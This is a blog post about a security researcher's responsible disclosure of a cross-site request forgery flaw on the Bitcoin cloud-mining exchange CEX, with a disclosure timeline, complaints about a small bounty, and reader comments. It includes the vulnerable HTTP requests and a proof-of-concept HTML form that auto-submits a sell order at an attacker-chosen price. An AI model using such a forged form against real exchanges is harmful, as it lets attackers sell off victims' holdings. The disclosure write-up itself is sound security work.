Reporting a Vulnerability to


As a Bitcoin mining enthusiast, I thought the idea behind was pretty cool. You can buy virtual mining power and collect the rewards from your cloud hashing power. I signed up for an account and bought 1 BTC worth of mining power. I was seeing decent returns, so I decided to check out the site’s security before I moved more money into my account.

I work as a security consultant, and I frequently perform penetration tests on web applications. I used Burp Proxy to simply watch the HTTP traffic between my browser and CEX. Within about 15 minutes of reading through the traffic logs (and making no modifications to the requests), I found several security vulnerabilities. Previously, I had read Donncha O’Cearbhaill’s excellent writeup about reporting vulnerabilities to Coinbase via their bug bounty program. I had also reported a minor vulnerability to Bitmit several months prior and had a fairly smooth experience.


The most severe issue on the site related to the protection on withdrawals requests and buy or sell orders. For example, when a user issued an order to buy 1 GH/s of virtual mining power for .15 BTC, the HTTP request took the following form:

POST /trade/api/order HTTP/1.1
Cookie: __cfduid=[redacted]; ref=[redacted]
Content-Type: application/x-www-form-urlencoded
Content-Length: 58


Similarly, when the user requested a 1 BTC withdrawal to their Bitcoin wallet address, the request took the following form:

POST /trade/api/withdraw_btc HTTP/1.1
Cookie: __cfduid=[redacted]; ref=[redacted]
Content-Type: application/x-www-form-urlencoded
Content-Length: 59

wallet=[user's wallet address]&amount=1.0&_csrf=

This is a very obvious cross-site request forgery (CSRF) vulnerability. The site was trying to defend against this with the _csrf parameter, but something was broken because the token had no value assigned and thus was offering no protection. The result was that an attacker could create a page with the following HTML:

<form action="" method="post">
		<input type="hidden" name="type" value="sell" />
		<input type="hidden" name="symbol1" value="GHS" />
		<input type="hidden" name="symbol2" value="BTC" />
		<input type="hidden" name="amount" value="10" />
		<input type="hidden" name="price" value=".00001" />
		<input type="hidden" name="_csrf" value="" />
	window.onload = function () {

If a CEX user visited the attacker’s page while logged into CEX, it would cause them to automatically sell 10 GH/s for .00001 BTC. At the time, CEX’s session cookie lasted for days, so it would not have been difficult to find users who are still logged into CEX when they visit the attacker’s site. Withdrawals were a bit more protected, as the user had to click an email confirming the action, but an attacker could still sell a victim user’s entire holdings for whatever price the attacker wanted (or alternatively purchase mining power at an attacker-chosen price).


On October 13, I emailed to ask if they offered a white hat bug bounty program. I received a response the same day from Jeffrey Smith, CEX’s head of customer service who said he would like to discuss the issue with me. I followed up with Jeffrey but I did not get an answer until October 21st, when he told met that CEX would be willing to pay me in virtual mining power in exchange for responsibly disclosing vulnerabilities.

I replied to Jeffrey the same day explaining the vulnerability in detail and providing guidance in how to fix it. Jeffrey responded the next day to thank me and tell me CEX would begin investigating and determining an appropriate reward.

On November 4, I saw that CEX had fixed the CSRF issue and had also added two-factor authentication for added protection. I sent Jeffrey an email asking when I could expect the bounty, and I received no response. I waited five days, then sent another email, this time filing a support ticket as well. Two days later I finally received my answer from Jeffrey:

I talked to the upper management about the vulnerability you have found. 
Their response was that they were aware of this vulnerability, but it was not in
our priority list.

However it is now, and I’ve negotiated a bounty in the amount: 0.2BTC.

Full Timeline

10/13/2013 – Initial inquiry about bug bounty program
10/21/2013 – CEX offers bounty in exchange for responsible disclosure of vulnerabilities
10/21/2013 – I report CSRF vulnerability to CEX
11/04/2013 – I notice issue has been fixed, inquire about bounty
11/11/2013 – CEX notifies me of my bounty, sends me 0.2 BTC

Full email transcripts are available here.


At the time, 0.2 BTC was roughly the equivalent of US$70. I found the bounty a bit disappointing compared with those offered by other Bitcoin companies, but I can’t complain much because I didn’t negotiate a rate beforehand. What struck me most was that, for weeks, CEX’s upper management supposedly knew about a serious vulnerability that could completely drain their users’ holdings and did not fix it because “it was not in [their] priority list.”

Again, I had found several vulnerabilities during my cursory examination of CEX’s site, but the CSRF issue was the only one I reported because I wanted to test out their bug bounty program. After my experience reporting the CSRF bug, I am not interested in reporting further vulnerabilities to CEX. I felt that their reward was unreasonably low and that their bounty process was klunky and unprofessional. Their approach to security does not make me comfortable trusting them with my Bitcoins, so I’m afraid CEX and I will be parting ways.

9 thoughts on “Reporting a Vulnerability to

  1. Thanks for the mention. I agree, that bounty is a bit disappointing. One would hope that companies entrusted with their customers would be concerned about web security unless they want to make headlines likes and others.

    Hopefully they step up the game, and keep up the bug reporting 🙂

  2. how much should a bounty be? could you tried to go back and ask for more? i would like to see how they respond before getting involved. thanks!

      • Wow! Thanks! Try asking for more for the other vulnerabilities that you found, but negotiate with them first. Show them the links and this site. It might be a cultural thing, Dutch company?
        You deserve the $1000 for the first report, not $70. If their responds stills sucks, then its not worth dealing with them. Email the CEO instead of the webmaster.

    • Hey Jon, I’m not the Mike you were addressing but the best way to make money in bitcoin’s current economy is by offering services or products on the internet. For example Mike’s offering was his expertice in web security. I run a small web shop(@massdmedia) that sells web services for bitcoin (no security offerings though) and this is namely how I generate bitcoins.

      Another decent way is trading on the exchanges although bitcoin is still rather volitile. Best of luck!

  3. Yesterday morning my account was hacked and also my email. The hacker sold the GHS I had and withdrew the funds. I had deposited 10 btc into my cex account. My cex account is now frozen by cex and they are investigating – whatever that means. Does not cex have the obligation to make this right??

    2FA should be mandatory, not an option. In addition, they need tighter security for withdrawals.

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